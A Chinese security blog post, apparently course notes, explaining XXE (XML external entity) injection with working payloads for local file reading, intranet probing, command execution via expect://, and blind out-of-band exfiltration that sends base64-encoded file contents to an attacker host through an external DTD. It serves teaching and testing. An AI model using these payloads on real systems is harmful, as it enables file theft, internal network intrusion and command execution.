avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home XXE-XML之利用检测绕过全解
文章

XXE-XML之利用检测绕过全解

Posted 2024-10-28 Updated 2025-08- 17
By Administrator
15~20 min read

XML被设计为传输和存储数据,XML文档结构包括XML声明,DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描、攻击内网网站等危害。

XML与HTML的主要差异

  XML被设计为传输和存储数据,其焦点为数据的内容。

  HTML被设计用来显示数据,其焦点是数据的外观,,

  HTML旨在显示信息,而XML旨在传输信息。

 

    

 

#玩法-读文件

<?xml version ="1.0" ?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///d://text.txt">

]>

<x>&xxe;</x>

 

#玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt">

]>

<x>&rabbit;</x>

#判定文件是否存在,端口是否开放

 

#玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "expect://id">

]>

<x>&xxe;</x>

 

#引入外部实体,执行文件中代码

<?xml version = "1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">

%file;

]>

<x>&send;</x>

 

//下面的是写入文件的

evil2.dtd:

<!ENTITY send SYSTEM "file:///d:/test.txt">

 

#无回显-读取文件

<?xml version = "1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">

<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">

%dtd;

%send;

]>

 

 

test.dtd:

<!ENTITY % payload

"<!ENTITY % send SYSTEM

'http://192.168.xx.xxx:80xx/?data=%file;'>"

>

%payload;

 

小迪安全web
小迪安全web
License:  CC BY 4.0
Share

Further Reading

Jul 6, 2025

第38天反序列化JAVA

#序列化和反序列化 序列化:将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间, 对象将其当前状态写入到临时或持久性存储区。 反序列化:从存储区中读取数据,并将其还原为对象的过程,称为反序列化。 下方的特征可以作为序列化的标志参考:

Apr 26, 2025

第36天逻辑越权之验证码与Token及接口

#验证码安全 分类:图片,手机或邮箱,语音,视频,操作等 原理;验证生成或验证过程中的逻辑问题 危害:账户权限泄露,短信轰炸,遍历,任意用户操作 漏洞:客户端回显(已讲),验证码复用,,验证码爆破(已讲),绕过等 #token安全 基于上述同理,主要是验证中可存在绕过可继续后续测试 token爆破

Apr 26, 2025

第35天逻辑越权之找回机制及接口安全

#找回重置机制 客户端回显(验证码显示在客户端),Response状态值,验证码爆破,找回流程绕过(抓包跳过验证流程)等 #接口调用乱用 来电轰炸,短信轰炸等 演示案例: 找回密码验证码逻辑-爆破测试-实例 墨者靶场密码重置-验证码套用-靶场 手机号码,新密码和验证码在同一界面, 填写手机号,得

OLDER

第十二天SQL注入简要

NEWER

基础入门

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy